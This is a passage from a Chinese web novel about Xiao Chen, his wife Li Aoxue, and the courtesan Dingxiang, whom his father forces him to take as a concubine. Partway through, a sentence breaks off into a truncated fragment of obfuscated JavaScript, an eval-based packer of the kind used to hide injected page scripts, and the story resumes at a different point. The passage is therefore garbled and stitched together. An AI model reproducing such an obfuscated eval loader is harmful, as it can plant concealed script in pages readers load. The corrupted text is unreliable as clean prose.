或许前路依旧有风雨,但只要身边有她,有想要守护的人,便有了披荆斩棘的勇气。 他低头,在她额头印下一个轻柔的吻,随即也闭上了眼睛。 长夜漫漫,有彼此相拥,便是最好的时光。 第二天清晨,阳光透过窗棂洒进帐内,李傲雪在一阵酸痛中醒来。刚想坐起身,浑身却像散了架似的,尤其是腰肢处,酸软得厉害。她挣扎着挪到床边,双脚刚沾地,就踉跄了一下,差点站不稳——昨晚被他折腾得太狠,此刻连走路都有些吃力。 她扶着梳妆台坐下,对着铜镜一瞧,顿时红了脸。脖颈处、锁骨上,全是深浅不一的痕迹,像一朵朵暧昧的花,怎么遮都遮不住,连领口都掩不住那抹春色。 正懊恼着,肖晨从身后轻轻环住她的腰,下巴搁在她肩上,声音带着刚睡醒的慵懒:“醒了?” 李傲雪拍开他的手,嗔道:“都怪你。” 肖晨看着镜中她泛红的脸颊和那些醒目的痕迹,眼底闪过一丝笑意,故意逗她:“你要是害羞,今日就别出去了,我让厨房把早膳端到房里来。” “那怎么行?”李傲雪瞪他一眼,“说好要去陪丁香姑娘的,总不能食言。”她拿起胭脂,想往脖颈上抹些遮掩,可那痕迹太深,怎么也盖不住,反而显得更惹眼。 肖晨见她手足无措的样子,忍不住低笑出声,从柜子里翻出一件领口稍高的藕荷色衣衫递过去:“穿这件吧,能遮些。” 李傲雪接过衣衫,瞪他一眼:“少爷你真坏。”嘴上抱怨着,嘴角却忍不住微微上扬。 他从身后拥住她,在她耳边低语:“下次……轻点?” 温热的气息拂过耳畔,李傲雪的脸瞬间又红了,推开他:“去去去,赶紧洗漱,别耽误了时辰。” 肖晨笑着应了,转身去净手。阳光落在两人身上,带着晨起的暖意,昨夜的缠绵尚未褪去,又添了几分日常的温情。 等两人收拾妥当,李傲雪扶着腰,走路依旧有些不自然,肖晨想扶她,却被她嗔怪地躲开:“当着下人的面,像什么样子。” 他只好放慢脚步,跟在她身侧,目光里满是纵容。 跨院的丁香早已起身,正坐在廊下侍弄那盆刚送来的兰草。见两人进来,连忙起身行礼,目光不经意扫过李傲雪的脖颈,又飞快地低下头,脸颊悄悄红了。 李傲雪被她看得有些不好意思,拉着她的手转移话题:“看我给你带了什么?新做的绿豆糕,清热解腻的。” 丁香接过食盒,轻声道谢,眼角的余光瞥见肖晨望着李傲雪的眼神,温柔得能滴出水来,心里忽然涌上一股暖意。 原来,安稳的日子,是这样的。 玉溪端着茶进来时,见三人坐在廊下说话,脚步放得极轻。李傲雪正指着窗台上的绣绷笑:“你看这兰草绣得,比真的还精神,回头教我两针?” 丁香腼腆地点头:“少夫人不嫌弃就好。” 肖晨坐在一旁,看着两人凑在一起研究绣线,嘴角噙着浅淡的笑意。晨光透过葡萄藤的缝隙落在石桌上,将那碟绿豆糕照得莹润透亮,倒比往日多了几分温馨。 正说着,管家匆匆走来,在肖晨耳边低语了几句。肖晨脸上的笑意淡了些,起身道:“我去趟前院,你们先聊着。” 李傲雪见他神色凝重,轻声问:“出什么事了?” “王老爷那边又送了些账本来,说是今日就要抄完。”肖晨揉了揉她的发顶,“别担心,我去去就回。” 他走后,李傲雪看着丁香微蹙的眉,便知她又在胡思乱想,遂握住她的手道:“他就是去做些笔墨活,王老爷虽难缠,却也不敢真伤了他——毕竟肖家的船队还捏在咱们手里。” 丁香低下头:“可终究是因我……” “傻姑娘。”李傲雪打断她,拿起一块绿豆糕递过去,“他乐意护着你,我也乐意帮着他,这不是谁欠谁的事。你呀,就安心住着,把这儿当自己家。” 丁香咬着糕点,清甜的滋味在舌尖化开,心里却暖得发涩。她活了这么多年,从未听过“把这儿当自己家”这样的话,眼眶一热,连忙别过脸去。 李傲雪瞧着她泛红的耳根,心里叹了口气。这姑娘什么都好,就是太把自己当外人,总想着报恩,想着退让,却不知有时候,坦然接受善意,也是一种成全。 午后,肖晨从外面回来,手里捏着几张纸,脸色不太好看。李傲雪迎上去:“怎么了?王老爷又刁难你了?” “他让我把这些‘账目’抄给各位乡绅看,明摆着是想借我的手,把他那些见不得光的交易洗白。”肖晨将纸拍在桌上,“我没答应,他怕是又要生事。” 丁香站在一旁,听见“王老爷”三个字,手指不自觉地绞紧了帕子。肖晨看在眼里,放缓了语气:“不关你的事,我自有办法应付。” 正说着,下人来报,说王老爷派人送了封信来。肖晨拆开一看,眉头皱得更紧——信里竟是王老爷亲笔,说要亲自来肖府“拜访”,顺便看看丁香“过得好不好”。 “他这是故意来挑事。”李傲雪沉了脸,“明知道父亲还在气头上,他来这一趟,不定要闹出什么乱子。” 肖晨捏紧了信纸,指节泛白:“他要来看,就让他来。我倒要看看,他能说出什么花来。” 傍晚时分,王老爷果然带着两个随从,大摇大摆地进了肖府。肖父避而不见,只让肖晨在前厅待客。 王老爷坐定后,端着茶盏环顾四周,阴阳怪气道:“肖府真是好福气,藏着这么个‘宝贝’,连我这外人都想来沾沾光。” 肖晨面色平静:“王老爷有话不妨直说。” “也没什么大事,”王老爷放下茶盏,似笑非笑地看向屏风后,“就是听说丁香姑娘在这儿住得惯,特意来问问,要不要回我那儿去?毕竟……有些人家里,怕是容不下这么金贵的客人。” 话音刚落,屏风后传来轻微的响动。丁香不知何时站在了那里,脸色发白,却挺直了脊背:“多谢王老爷挂心,我在这儿住得很好,不劳您费心。” 王老爷没想到她敢出声,愣了一下,随即冷笑:“你倒是有骨气。只是不知肖公子能护你到几时——毕竟,肖家的名声,可比你的安稳金贵多了。” “我的名声,我自己护着。”肖晨站起身,挡在丁香身前,“就不劳王老爷操心了。若是没别的事,我就不多留您了。” 王老爷见讨不到便宜,反而被噎了几句,悻悻地站起身:“好,好得很。肖公子,咱们走着瞧。” 他甩袖离去后,前厅里一片寂静。丁香看着肖晨紧绷的侧脸,轻声道:“又连累你了。” 肖晨回头看她,忽然笑了:“我说过,这不是你的错。” 暮色渐浓,李傲雪提着一盏灯笼走来,见两人站在厅里,便笑道:“厨房炖了汤,进去暖暖身子吧。” 灯笼的光晕在青砖地上晃出柔和的圈,三人并肩往里走时,肖晨忽然道:“过几日我要去江南收账,你们跟我一起去。” 李傲雪眼睛一亮:“真的?” “嗯,”肖晨点头,看向丁香,“江南水乡,比城里清净,或许……你会喜欢那里。” 丁香望着他眼里的暖意,心里那点不安忽然散了。她用力点头,嘴角扬起一抹浅浅的笑。 肖父走进前厅时,脸色依旧沉得像块铁。他扫了一眼站在肖晨身侧的丁香,眼神里的嫌恶毫不掩饰,对着两人挥了挥手:“你们两个先退下。” 丁香攥紧了帕子,低着头跟着李傲雪往后院走,脚步有些发颤。她知道,肖父定是要说些关于她的话,那些话,怕是不会好听。 待两人走远,肖父才在肖晨对面坐下,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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送走她?他做不到。他答应过要护她安稳,若是把她送走,以她的处境,无异于再次将她推入险境。 “爹,就没有别的办法吗?”肖晨的声音带着恳求。 “没有。”肖父斩钉截铁,“我给你三天时间考虑。三天后,我要听到你的答案。” 说完,他站起身,头也不回地走了。 前厅里只剩下肖晨一人,他靠在椅背上,只觉得一阵无力。 娶她,对傲雪不公,对丁香也不公。 送走她,违背了自己的承诺,更是将她往火坑里推。 这两条路,无论选哪一条,都注定有人受伤。 窗外的天色彻底暗了,肖晨坐在黑暗里,指尖冰凉。他第一次觉得,所谓的“守护”,竟如此艰难。 而跨院里,丁香隐约听见前厅的争执声,心里像压了块石头。她走到窗边,望着前厅的方向,眼里满是不安。 她知道,自己终究是个麻烦。 或许,肖父说得对,她不该再留在这里了。 夜色渐深,跨院的灯,亮了很久很久。 肖晨找到丁香时,她正坐在廊下对着那盆兰草发呆。月光落在她发顶,像一层薄薄的霜,看得他心口发紧。 他走过去,轻声道:“陪我去院里走走吧。” 丁香没问缘由,默默站起身跟着他。院子里的桂花开了,香气漫了一地,却驱不散两人间的沉重。 走到石榴树下,肖晨停下脚步,转过身看着她,声音带着难以掩饰的疲惫:“我爹……让我做个选择。” 丁香的睫毛颤了颤,像是早已料到,轻声问:“是让我走吗?” “他说,要么送你走,要么……娶你做妾。”肖晨的声音艰涩,“我舍不得你走,可我怎么能娶你做妾?傲雪待你亲如姐妹,我不能委屈了你,更不能对不起她。” 他看着她清澈的眼睛,里面映着月光,也映着他的挣扎:“你该有更好的归宿,不是做谁的妾,看人脸色过日子。” 丁香低下头,指尖抠着帕子,声音轻得像叹息:“公子的心意我明白。我这种人,原就入不了肖家的门,更入不了你的眼睛。你不必为难,我会走的。” 她早就知道,像她这样的人,能有几日安稳已是侥幸,哪敢奢求更多。 “不许说这种话!”肖晨猛地抓住她的手腕,力道大得让她蹙眉,“什么叫入不了我的眼?在我心里,你比谁都好!” 他忽然收紧手臂,将她紧紧拥在怀里,下巴抵着她的发顶,声音带着压抑的颤抖:“不要走,丁香,我离不开你。” 这几日的挣扎、犹豫、痛苦,在此刻都化作了最直白的渴求。他原以为自己对她只是怜惜,可当“失去”变得具体,才发现那份牵挂早已深种,成了戒不掉的习惯。 丁香被他抱得喘不过气,鼻尖萦绕着他身上的皂角香,混合着桂花的甜,让她眼眶一热。她想推开他,手却软得没有力气,只能任由眼泪掉下来,打湿他的衣襟。 “我该怎么办……”她的声音哽咽,“我留下来,是你的累赘;我走了,又……又舍不得……” 肖晨收紧怀抱,仿佛要将她揉进骨血里:“什么都不用办,就留在我身边。我不会让你做妾,也不会让你走。我去跟我爹说,去跟傲雪说,总会有办法的。” 他抬起她的下巴,指腹擦去她的眼泪,目光灼灼:“相信我,好不好?” 丁香看着他眼里的坚定,看着他泛红的眼眶,心里那道名为“认命”的防线,忽然塌了一角。 是啊,她也舍不得。 舍不得这短暂的安稳,舍不得他的维护,舍不得跨院里的灯火,舍不得……眼前这个人。 她吸了吸鼻子,点了点头,声音带着浓重的鼻音:“好。” 肖晨松了口气,重新将她拥入怀中。桂花落在两人肩头,像撒了一把碎金。 或许前路依旧难走,或许还会有更多的阻碍,但此刻,他只想抱着她,感受这份真实的温暖。 有些感情,藏不住,也躲不开。 那就,勇敢一次吧。 为了她,也为了自己那颗早已不受控制的心。 肖晨回到房间时,李傲雪正坐在灯下缝补他的袖口。见他进来,她抬起头,眼里带着一丝不易察觉的期待,可看到他凝重的神色,那点期待又慢慢沉了下去。 “爹的意思,我跟你说了吧。”肖晨在她身边坐下,声音疲惫。 李傲雪手里的针线顿了顿,没有抬头,轻声道:“你说吧,我听着。” “他让我要么送丁香走,要么……娶她做妾。”肖晨艰难地开口,“我跟丁香说了,既不会送她走,也不会委屈她做妾。” 李傲雪手里的针猛地扎在指尖,渗出一点血珠。她却像没察觉,只是慢慢抬起头,脸色苍白得吓人,眼眶泛红:“少爷,你真要娶她吗?” 她的声音带着颤抖,带着难以置信的委屈:“我们才刚成亲没多久啊……那些日子,你说会一辈子对我好,难道都忘了吗?我不想把你让给她,真的不想……” 最后几个字,几乎是带着哭腔说出来的。她不是不善良,只是她也是个寻常女子,做不到眼睁睁看着自己的丈夫,去对另一个女人许下承诺。 肖晨看着她指尖的血珠,心里像被针扎了一样疼。他伸手想握住她的手,却被她避开了。 “我没想娶她做妾。”他急忙解释,“我跟爹说了,这两条路我都不选。我会再想别的办法,绝不会委屈了你,也不会让丁香受委屈。” 李傲雪低下头,眼泪掉在绣绷上,晕开一小片湿痕。她沉默了许久,肩膀微微耸动,像是在极力压抑着哭声。 肖晨看着她难受的样子,心里又悔又痛。他不该让她承受这些的。 过了好一会儿,李傲雪才慢慢抬起头,用袖子擦了擦眼泪,声音带着浓重的鼻音,却异常坚定:“如果……如果少爷真的要娶她,我……我是可以接受的。” 肖晨愣住了:“傲雪,你……” “我知道你心善,见不得丁香姑娘受苦。”她吸了吸鼻子,强扯出一个笑,却比哭还难看,“我也喜欢她,不想她再被人欺负。若是娶她进门能让她安稳,能让你安心,我……我认了。” 只是说着说着,眼泪又掉了下来:“只是……只是你以后,能不能……能不能多看看我?” 肖晨再也忍不住,伸手将她紧紧拥在怀里,声音沙哑:“傻瓜,我说了不会娶她做妾。是我没用,让你受委屈了。” 他怎么能让她做出这样的退让?她是他明媒正娶的妻子,是他承诺过要守护一生的人。 “是我考虑不周,没顾及你的感受。”肖晨轻轻拍着她的背,“你放心,我绝不会做让你受委屈的事。丁香的事,我会另外想办法,不会让她以任何名义进这个门,更不会让你心里添堵。” 李傲雪靠在他怀里,终于忍不住哭出了声,像个受了委屈的孩子:“我就知道……我就知道少爷不会丢下我的。” 肖晨紧紧抱着她,心里五味杂陈。一边是需要守护的丁香,一边是深爱的妻子,他从未觉得如此艰难。 “委屈你了。”他在她耳边低语,“再给我些时间,我一定能想到两全的办法。” 李傲雪在他怀里点了点头,眼泪渐渐止住了。窗外的月光透过窗纱照进来,落在两人交握的手上,带着一丝劫后余生的温暖。 她知道,前路或许还有波折,但只要他的心还在,她就有勇气一起面对。 而跨院里的丁香,似乎感应到了什么,辗转反侧了一夜。天快亮时,她终于做了一个决定。 有些温暖,不能贪得无厌。 有些人,不能伤得太深。 43.让他纳妾 天还没亮透,跨院的门就被轻轻推开了。丁香背着一个小小的包袱,借着熹微的晨光往外走,脚步放得极轻,像怕惊扰了谁。 刚走到月亮门边,一个身影忽然从暗处站了出来,拦住了她的去路。是肖晨身边的小厮阿成,他手里还提着一盏未熄的灯笼,显然是守了一夜。 “丁香姑娘,您这是要去哪儿?”阿成的声音不高,却带着不容置疑的坚定。 丁香心里一慌,低下头:“我……我出去透透气。” “透气需要带包袱吗?”阿成往前一步,目光落在她肩上的包袱上,语气里带着几分急意,“姑娘,您不能走啊!” 丁香咬着唇,声音发颤:“我留在这儿,只会让少爷为难,让少夫人伤心,我……” “您怎么能这么说?”阿成打断她,语气里带着明显的不赞同,“您知道少爷为了您受了多少罪吗?为了留您在府里,他跟老爷吵了多少次架?为了护着您,他在王老爷面前忍了多少羞辱?城里的流言蜚语像刀子一样扎人,他一句都没让您听见,自己扛着!” 他看着丁香,眼里满是恳切:“您怎么只能想着自己走,不顾及他的感受?您走了,他之前的付出不都白费了吗?他会有多难受您知道吗?” “我……”丁香被他问得说不出话,眼泪在眼眶里打转,“我不想让他为难……” “真正让他为难的,是您走啊!”阿成叹了口气,“您以为少爷留您,只是可怜您吗?不是的!他是真心把您放在心上了!昨天夜里,他在石榴树下抱着您说‘离不开你’,我在廊下都听见了!” 丁香猛地抬起头,眼里满是震惊。 “他跟少夫人坦白的时候,心里有多煎熬您知道吗?”阿成的声音软了些,“少夫人虽然难受,可还是愿意为了少爷委屈自己。现在大家都在为您努力,您怎么能说走就走?” 包袱从丁香肩上滑下来,掉在地上,发出轻微的声响。她站在原地,眼泪终于忍不住掉了下来,不是因为委屈,而是因为愧疚和无措。 是啊,她只想着自己不能成为负担,却没想过,她的离开,对肖晨来说,或许是更深的伤害。 她想起他在巷口追上来时的急切,想起他抱着她说“不要走”时的颤抖,想起他为了护着她,一次次对抗那些恶意……原来,他为她做的,比她想象的还要多。 “我……”她张了张嘴,却不知道该说什么。 就在这时,身后传来熟悉的脚步声。肖晨和李傲雪不知何时站在了那里,目光都落在她身上。 肖晨走上前,捡起地上的包袱,轻声道:“我知道你心里不好受,但别再想着走了,好吗?” 李傲雪也走上前,握住丁香的手,声音温和:“我们一起想办法,总会有解决的办法。你走了,我们才是真的为难。” 丁香看着眼前这两个人,他们的眼里没有指责,只有真切的挽留。眼泪掉得更凶了,却重重地点了点头。 原来,被人坚定地留在身边,是这样的感觉。 沉重,却也温暖。 阿成提着灯笼退到一旁,看着三人并肩往回走的身影,悄悄松了口气。 天边泛起鱼肚白,新的一天开始了。或许难题依旧在,但只要心齐,再难的坎,总能迈过去。 跨院的门被重新关上,这一次,里面的人,都没再想过要离开。 肖父在书房里听着下人回报,说丁香终究没走成,肖晨还陪着她回了跨院,手里的茶盏重重磕在桌案上,发出一声闷响。 没多久,他就让人把肖晨叫到跟前,劈头就问:“看来你是铁了心要把人留住?” 肖晨站在原地,背脊挺得笔直:“是,我舍不得她走。” “好,好得很!”肖父怒极反笑,对着门外喊,“去把城西的张喜婆找来,让她给少爷准备纳妾的事,那些繁杂流程都免了,简单些就行。” 肖晨心里一紧:“爹,您这是做什么?” “做什么?”肖父瞪着他,“既然你舍不得她走,那就给她个名分!今晚就让你们洞房,省得外面的人说三道四,说我肖家连个体面都不给人家!” “我不能这么做!”肖晨急忙道,“傲雪才嫁过来没多久,我怎能如此委屈她?丁香也不是愿意做妾的人,爹,这对她们俩都不公平!” “公平?”肖父冷笑,“你护着那个女人的时候,怎么没想过对傲雪公平?现在跟我谈公平?”他站起身,走到肖晨面前,语气带着最后通牒的强硬,“我把话放这儿——要么,今晚就按我说的做,给她一个妾的名分,让她名正言顺留在府里;要么,我现在就让人把她赶走,扔到城外的乱葬岗去,我可不会心软!” “爹!”肖晨又惊又怒,“您怎么能说出这种话?” “我是你爹!这个家还轮得到你跟我犟嘴?”肖父指着门口,“去告诉那个女人,让她好好准备着!要是敢说个不字,就别怪我心狠!” 说完,他猛地甩袖进了内室,重重摔上了门。 肖晨僵在原地,手脚冰凉。他知道父亲的脾气,说得出就做得到。父亲是铁了心要逼他就范,用丁香的安危,逼他接受这桩不情愿的婚事。 他走出书房,阳光刺眼,却暖不了他冰凉的心。 走到跨院门口,他停下脚步,看着那扇紧闭的门,心里像被刀割一样疼。 他该怎么跟丁香说? 说他要娶她做妾,委屈她一辈子? 还是说,他保护不了她,只能看着她被父亲赶走,落入险境? 无论哪种选择,都是煎熬。 门“吱呀”一声开了,丁香站在门内,显然是听到了外面的动静,脸色苍白地看着他:“公子……是不是肖老爷……” 肖晨看着她担忧的眼神,喉咙发紧,一个字也说不出来。 他该怎么告诉她,父亲用她的性命,逼他做一个最残忍的选择? 肖晨看着丁香眼里的惶恐,强压下心头的翻涌,扯出一个安抚的笑:“没事,你不用担心,我会处理好的。” 他转身往回走,脚步沉重得像灌了铅。 回到空无一人的书房,他猛地将自己摔在椅上,双手插进头发里,第一次感到如此绝望。 他是真的没办法了。 他从未想过,自己会面临这样的抉择。更何况,他灵魂深处,本就是个女孩——让他以“丈夫”的身份,去接纳另一个女子做妾,这简直是对自我认知的凌迟。 他对丁香,是怜惜,是想要守护的责任感,唯独没有半分男女之情。让她做妾,是对她的侮辱,更是对自己的背叛。 可父亲的话像一把刀,悬在丁香头顶——不答应,就是眼睁睁看着她被赶走,落入未知的险境。 “为什么……”他低低地呢喃,声音里满是无力。 他试着想过反抗,想过带着丁香和傲雪离开肖家,可他们身无分文,又能去哪里?父亲在城里根基深厚,想找到他们易如反掌。 他也想过跟父亲坦白自己的“不同”,可这话一旦说出口,只会被当成疯言疯语,不仅救不了丁香,反而会把自己也拖入深渊。 窗外的日头渐渐偏西,书房里的光线越来越暗,像他此刻的心情。 他知道,自己不能妥协。 不仅是为了傲雪,为了丁香,更是为了守住自己心里那点来自现代的底线。 可除了妥协,他还有别的路吗? 手指无意识地敲着桌面,忽然,一个念头闪过脑海——或许,他可以赌一次。 赌父亲只是一时气极,赌他终究舍不得对自己下死手。 深吸一口气,肖晨站起身,眼神渐渐坚定。 他不能让任何人,摧毁他坚守的东西。 哪怕,要付出巨大的代价。 肖父把张喜婆请到府里时,直接让人把肖晨从书房拽了过来。喜婆手里捧着红绸包着的花钗,见了肖晨便笑盈盈地要上前,被肖父一个眼神制止了。 “现在,你再选一次。”肖父坐在上首,语气冷得像冰,“要么,接过喜婆的东西,今晚就圆房;要么,我现在就让人把她拖出去,扔到乱葬岗喂野狗——你选。” 他拍了拍手,两个膀大腰圆的家丁立刻站到门口,眼神凶狠地盯着院外,显然是真的要动手。 肖晨看着父亲决绝的脸,看着家丁们蠢蠢欲动的样子,心一点点沉下去。他原以为父亲只是吓唬他,没想到竟来真的。 他看向喜婆手里的花钗,红得刺眼,像染了血。又想到丁香那双总是带着怯懦却又藏着坚韧的眼睛,想到她若被扔出去,会遭遇怎样的境地…… “我……”他喉结滚动,声音艰涩得像被砂纸磨过,“我答应。” 肖父眼里闪过一丝得逞的冷光,却没说话。 肖晨闭了闭眼,再睁开时,眼底只剩下疲惫:“这件事,我去告诉她。” 他不能让别人去说,尤其不能让这些带着鄙夷和看热闹的人去告诉她。 喜婆见状,连忙把花钗递过来:“肖公子放心,都是简单的流程,保准不委屈了那位姑娘……” 肖晨没接,只是转身往外走,脚步虚浮得像踩在棉花上。 跨院的门虚掩着,丁香正坐在廊下,手里拿着针线,却半天没缝下一针。听到脚步声,她猛地抬起头,眼里的不安像水一样漾开。 肖晨推开门,站在门口,看着她,嘴唇动了动,却不知道该怎么开口。 “公子……”丁香站起身,声音发颤,“是不是……肖老爷……” 肖晨走到她面前,看着她苍白的脸,心里像被无数根针扎着。他深吸一口气,艰难地吐出几个字:“我爹说……今晚,让我娶你做妾。” 丁香手里的针线“啪”地掉在地上,脸色瞬间褪尽了所有血色,比纸还白。她怔怔地看着肖晨,眼里的光一点点熄灭,像燃尽的烛火。 “做妾……”她喃喃重复着这两个字,嘴角忽然勾起一抹苦涩的笑,“原来……终究还是这样。” 她就知道,像她这样的人,不配得到真正的安稳。所谓的守护,所谓的“离不开”,到头来,不过是换个地方看人脸色,做个见不得光的妾。 “对不起。”肖晨的声音沙哑,“我……我没能护住你。” 丁香摇了摇头,眼泪掉了下来,却笑着说:“不怪你,公子。能有这几日安稳,我已经很知足了。” 她弯腰捡起地上的针线,动作缓慢而僵硬:“我知道该怎么做,不会让公子为难的。” 她的顺从像一把钝刀,割得肖晨心口生疼。他想解释,想说这不是他的本意,可话到嘴边,却只剩下无力。 他终究还是让她失望了。 看着丁香转身走进房间的背影,单薄得像一片随时会被风吹走的叶子,肖晨的拳头死死攥着,指甲深深嵌进肉里。 今晚,他该如何面对她?又该如何面对傲雪? 更重要的是,该如何面对那个,坚守着一夫一妻准则的自己? 跨院的风吹过,带着桂花的甜,却甜得发苦。 肖晨走出跨院时,李傲雪正站在月亮门边等他,手里还攥着一方帕子,指节泛白。见他出来,她连忙迎上去,目光里带着探询和不安。 “傲雪……”肖晨看着她,喉咙发紧,终究还是把事情说了出来,“我爹他……逼着我今晚就纳丁香为妾。” 李傲雪的脸“唰”地白了,往后踉跄了一步,幸好扶住了廊柱才站稳。她看着肖晨,眼里的光一点点黯淡下去,像被雨水打湿的烛火。 沉默在两人之间蔓延,只有风吹过树叶的沙沙声。 肖晨心里像压着块石头,正要开口说“我再去跟爹求求情”,却听到李傲雪轻轻开了口,声音带着浓重的鼻音:“少爷,不如……你就娶了她吧。” 肖晨猛地抬头,满眼震惊:“傲雪,你……” “我想通了。”李傲雪吸了吸鼻子,努力挤出一个笑脸,却比哭还难看,“与其让她被老爷赶走,落得个凄惨下场,不如让她留在府里。至少……至少我们还能照看着她,不让她受太大的委屈。” 她走到肖晨面前,轻轻握住他的手,掌心冰凉:“我知道你心里不好受,既不想委屈我,也不想委屈她。可事到如今,这或许是唯一的办法了。” “我……”肖晨看着她强装的镇定,心里又痛又悔,“这样对你太不公平了。” “我们是夫妻啊。”李傲雪的眼泪终于忍不住掉了下来,“夫妻本该同甘共苦,不是吗?我虽然心里难受,可我更不想看到你为难,不想看到丁香姑娘出事。” 她踮起脚尖,轻轻擦去肖晨眼角的湿润,声音带着一丝颤抖,却异常坚定:“少爷,娶她吧。我会接受的,真的。” 肖晨看着她泛红的眼眶,看着她强撑的笑容,心里像被刀剜一样疼。他知道,李傲雪说的“接受”,背后藏着多少委屈和退让。 “对不起……”他只能说出这三个字,除此之外,再无言语。 李傲雪摇摇头,拉着他的手往回走:“别说对不起。我们是一家人,不是吗?” 夕阳的余晖落在两人身上,将影子拉得很长,却透着一股说不出的沉重。 回到房间,李傲雪打开妆奁,从里面拿出一支成色极好的银簪:“这是我陪嫁来的,等会儿让玉溪送去给丁香姑娘吧,也算……也算我这个做正妻的一点心意。” 肖晨看着那支银簪,又看着李傲雪故作平静的侧脸,忽然明白了——她不是真的愿意接受,只是为了他,甘愿把所有的苦涩都咽进肚子里。 他走上前,从身后紧紧抱住她:“傲雪,谢谢你。” 李傲雪靠在他怀里,眼泪无声地滑落,浸湿了他的衣襟。 是啊,她愿意为了他委屈自己。 只是,心里那点酸涩,终究还是忍不住。 窗外的天色渐渐暗了,跨院里亮起了灯,那盏灯在夜色里显得格外单薄,像丁香此刻的心境。 而肖晨知道,今晚,注定是个难眠的夜。 对他,对李傲雪,对丁香,都是如此。 喜婆带着玉溪进跨院时,丁香正坐在床边发呆,眼神空茫得像蒙了层雾。 “哎哟,丁香姑娘,好日子呢,该高兴才是。”喜婆嗓门亮,手里捧着个红布包,里面是套水红色的襦裙,“快,让玉溪姑娘给你换上,保准比画上的人儿还俏。” 玉溪走上前,声音轻轻的:“丁香姑娘,我帮你梳妆吧。” 丁香没动,也没说话,像没听见似的。直到玉溪的手轻轻搭上她的肩,她才猛地一颤,眼里泛起水光,却还是点了点头。 喜婆在一旁看着,嘴里不停念叨:“姑娘这模样,真是没挑的,皮肤白得像玉,眉眼又俊,肖公子有福气咯……”话里话外,却总带着点“攀高枝”的意味。 玉溪手巧,很快就帮丁香梳好了发髻,插上那支李傲雪送来的银簪。水红色的襦裙穿在她身上,衬得她本就白皙的皮肤愈发剔透,只是那双眼睛里的落寞,怎么也遮不住。 “你瞧,多好看。”喜婆拍着手笑,又从包里翻出个红盖头,“按规矩,该盖这个……” “别。”丁香忽然开口,声音很轻,却带着不容置疑的坚决,“我不盖。” 喜婆愣了愣,看了眼门外,终究没再坚持——毕竟是纳妾,本就比正妻的规矩松些。 院里传来脚步声,是肖晨来了。他穿着件暗红色的锦袍,衬得脸色愈发沉郁,远远看着,竟没有半分新郎官的喜气。 喜婆忙拉着丁香迎上去,笑嘻嘻地推着两人往堂屋走:“快,拜个堂,就算礼成了。” 没有鼓乐,没有宾客,只有喜婆在一旁唱喏。“一拜天地”“二拜高堂”(高堂位空着,只对着主屋的方向)“夫妻对拜”,三拜下来,像演了场仓促的戏。 丁香始终垂着眼,动作僵硬得像个提线木偶。肖晨看着她水红色的裙角,只觉得刺眼,每拜一下,心里就像被重锤砸一下。 礼成后,喜婆端来两杯酒,递到两人手里:“喝了这合卺酒,往后就是一家人了。” 肖晨接过酒杯,手微微发颤。丁香也接了,指尖冰凉。两人没看彼此,仰头将酒饮尽,那酒辛辣得呛人,从喉咙一直烧到心里。 “好了好了,良辰吉时,该入洞房了。”喜婆笑得满脸褶子,推着肖晨往内屋走,又回头对丁香道,“姑娘,快跟上。” 玉溪在一旁红了眼眶,低声道:“丁香姑娘,保重。” 内屋的门被喜婆“吱呀”一声带上,还特意落了锁。 房里只剩两人,红烛在桌上跳动,将影子投在墙上,忽明忽暗。 水红色的裙角与暗红色的袍角在地面上挨着,却像隔着万水千山。 谁也没说话,空气里只有烛火燃烧的噼啪声,和两人都有些急促的呼吸。 这场被逼迫的“喜事”,终究还是走到了这一步。 肖晨一步步走近,红烛的光在他眼底明明灭灭。他看着丁香垂着的眼睫,那上面还沾着未干的湿痕,喉咙发紧:“丁香,委屈你了。” 丁香缓缓抬起头,眼底的水光已经褪去,只剩下一片平静,甚至带着点自嘲的笑意:“公子不必如此说。我本就是从花船出来的人,命如草芥,能得公子收留,有个地方安身,我已经感激不尽了,哪里敢说委屈。” 她顿了顿,目光落在他身上那件暗红锦袍上,轻声道:“做妾也好,做婢也罢,对我来说,不过是换个活法。” “我不是这个意思。”肖晨急忙打断她,语气里带着急切,“我不 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红烛还在燃着,烛泪一点点往下淌,像谁无声的眼泪。 房里又陷入了沉默,只是这一次,沉默里没有了方才的疏离,多了些说不清道不明的滋味。 肖晨走到桌边,给自己倒了杯凉茶,一饮而尽,试图压下心头的燥意。 “你……”他刚开口,又停住,最后只化作一句,“你累了一天,先歇息吧,我在桌边坐会儿就好。” 丁香看着他疲惫的侧脸,点了点头,轻轻褪去外裙,躺在了床的内侧,背对着他。 红烛的光落在床榻与桌边之间,像一道无形的界限。 谁也没再说话。 夜渐渐深了,烛火渐渐弱了下去。 肖晨靠在椅背上,听着身后传来的均匀呼吸声,知道她睡着了。或许是太累了,或许是终于放下了紧绷的心弦。 他轻轻起身,走到床边,借着微弱的光看着她的睡颜。水红色的衣襟散在枕上,衬得她脸颊格外苍白。 “对不起。”他又在心里说了一遍。 然后,他拿起一件外袍搭在椅背上,吹灭了烛火,在桌边的地上蜷缩着躺下。 丁香迷迷糊糊醒来时,身侧空荡荡的,没有一点温度。她睁开眼,借着窗外透进来的月光,看到桌旁的地上,肖晨正蜷缩着睡着,身上只搭了件薄袍。 夜露重,地上定然凉得刺骨。 她悄悄起身,摸到火折子点上蜡烛,橘黄色的光晕瞬间驱散了房里的昏暗。她走到他身边,轻声道:“公子,地上凉,去床上睡吧。” 肖晨被惊醒,揉了揉酸涩的眼睛,看到她站在烛火旁,水红色的寝衣松松垮垮地挂在肩上,更显得身形单薄。他摇了摇头,声音带着刚睡醒的沙哑:“不可以的。” 他不能碰她。无论是作为现代人的准则,还是作为“她”的灵魂本能,都无法接受这样的亲密。 丁香的脸色暗了暗,烛光在她眼里跳动,映出一丝受伤。她低下头,声音轻得像叹息:“莫非……你是嫌我脏,不愿意上去睡?” 从花船出来的女子,最怕的就是这两个字。那些男人嘴上说着喜欢,眼里却藏着鄙夷,她早就习惯了。可从他嘴里听到拒绝,心里还是像被针扎了一下。 “不是的!”肖晨急忙解释,从地上站起来,动作急得带倒了身下的袍角,“我没有嫌你脏,从来没有!” 他看着她泛红的眼眶,心里又急又悔,却不知道该怎么说清楚。总不能告诉她,自己其实是个女子,无法对她产生男女之情;也不能说,自己信奉的是一夫一妻,不愿做出背叛傲雪的事。 “那你为何……”丁香咬着唇,没再说下去,眼里的光却一点点暗了。 